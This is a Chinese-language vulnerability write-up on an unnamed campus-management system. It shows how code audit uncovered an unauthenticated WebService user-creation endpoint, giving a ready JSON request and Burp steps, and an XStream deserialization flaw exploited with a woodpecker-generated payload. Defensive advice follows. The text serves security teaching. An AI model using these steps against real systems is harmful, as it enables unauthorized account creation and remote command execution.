漏洞挖掘之再探某园区系统
字数 1387 2025-08-19 12:40:48
漏洞挖掘之某园区系统安全分析教学文档
0x00 前言
本文档详细分析某园区系统中发现的多个安全漏洞,包括任意用户登录漏洞和XStream反序列化漏洞。通过本教学文档,您将学习到如何通过代码审计发现这些漏洞,以及如何构造利用这些漏洞。
0x01 任意用户登录漏洞分析
1. 漏洞发现路径
- 通过搜索
new UserBean()代码模式,发现addUser方法:
public void addUser(WsAdminParam<ExUserBean> adminParam) {
ExUserBean bean = (ExUserBean)adminParam.getParam();
UserBean userBean = new UserBean();
userBean.setOwnerCode(bean.getOrgCode());
userBean.setRoleIds(bean.getRoleIds());
userBean.setLoginName(bean.getLoginName());
userBean.setIsReuse(bean.getIsReuse() ? 1 : 0);
userBean.setLoginPass(bean.getLoginPass());
userBean.setUserName(bean.getUserName());
userBean.setUserType(0);
this.userManager.addUser(userBean);
UserCache.addUserToUserList(userBean);
}
- 查找调用链:
- 发现
ExUserManager接口中的方法被映射到AdminWebServiceImpl的interfaceMethodsMap中:
interfaceMethodsMap.put(AdminWebService.INTERFACE_ADD_USER,
WsMethod.bulid(ExUserManager.class.getMethod("addUser", WsAdminParam.class), ExUserBean.class));
- WebService暴露:
AdminWebServiceImpl类使用@WebService注解暴露服务- 未配置适当的安全拦截器,导致未授权访问
2. 漏洞利用方法
- 构造合法的JSON参数:
{
"authorinize": {
"userName": "11",
"password": "11",
"loginCode": "11"
},
"locale": "1",
"param": {
"orgCode":"001",
"loginName":"test",
"roleIds":"1",
"loginPass":"test",
"isReuse":0,
"oldLoginName":"xxx",
"oldRoleIds":"1",
"userName":"test"
},
"paramStr": "11",
"langLocale": "11",
"orders": [{"propertyName": "1","isAscending": true}]
}
- 使用Burp Suite的WSDler插件:
- 访问WebService的WSDL描述文件
- 使用插件解析WSDL并生成请求模板
- 将构造的JSON参数填入请求中
- 成功创建用户后,使用该凭证登录系统
3. 其他相关接口
queryUser- 查看用户信息viewUser- 查看用户密码(敏感信息泄露)deleteUsers- 删除用户updateUser- 更新用户信息updateUserPassword- 修改用户密码
0x02 XStream反序列化漏洞分析
1. 漏洞发现
- 发现项目中使用了低版本的XStream依赖
- 使用jar-analyzer工具查找项目中调用
fromXML和toXML方法的位置 - 定位到
addDevs方法:
public void addDevs(WsAdminParam<String> adminParam) {
String xmlInfo = adminParam.getParam();
XStream xStream = this.getFormatedDevXStream();
XmlInfo info = this.validateAndReturnXmlInfo(xmlInfo);
// ...
}
2. 漏洞利用
- 构造恶意XML payload:
- 使用woodpecker插件生成XStream Payload
- 工具地址:
- 框架:https://github.com/woodpecker-framework/woodpecker-framework-release
- 插件:https://github.com/woodpecker-appstore/xstream-vuldb
-
将payload进行URL全编码后作为
xmlInfo参数传递 -
成功执行系统命令(如ping命令)
0x03 防御建议
- 对于任意用户登录漏洞:
- 添加适当的权限验证机制
- 对WebService接口配置认证拦截器
- 限制用户创建权限
- 对于XStream反序列化漏洞:
- 升级XStream到最新版本
- 配置XStream的安全框架,限制可反序列化的类
- 对输入进行严格验证
- 通用安全建议:
- 定期进行代码审计和安全测试
- 最小化暴露的接口数量
- 实施输入验证和输出编码
0x04 工具推荐
- 代码搜索工具:用于查找特定代码模式(如
new UserBean()) - Burp Suite WSDler插件:用于解析和构造WebService请求
- jar-analyzer:用于分析Java项目中特定方法的调用
- woodpecker框架:用于生成XStream反序列化payload
0x05 总结
本教学文档详细分析了某园区系统中的两个高危漏洞:任意用户登录和XStream反序列化。通过代码审计和工具辅助,安全研究人员可以有效地发现和验证这类漏洞。开发人员应重视此类安全问题,实施适当的安全措施来保护系统。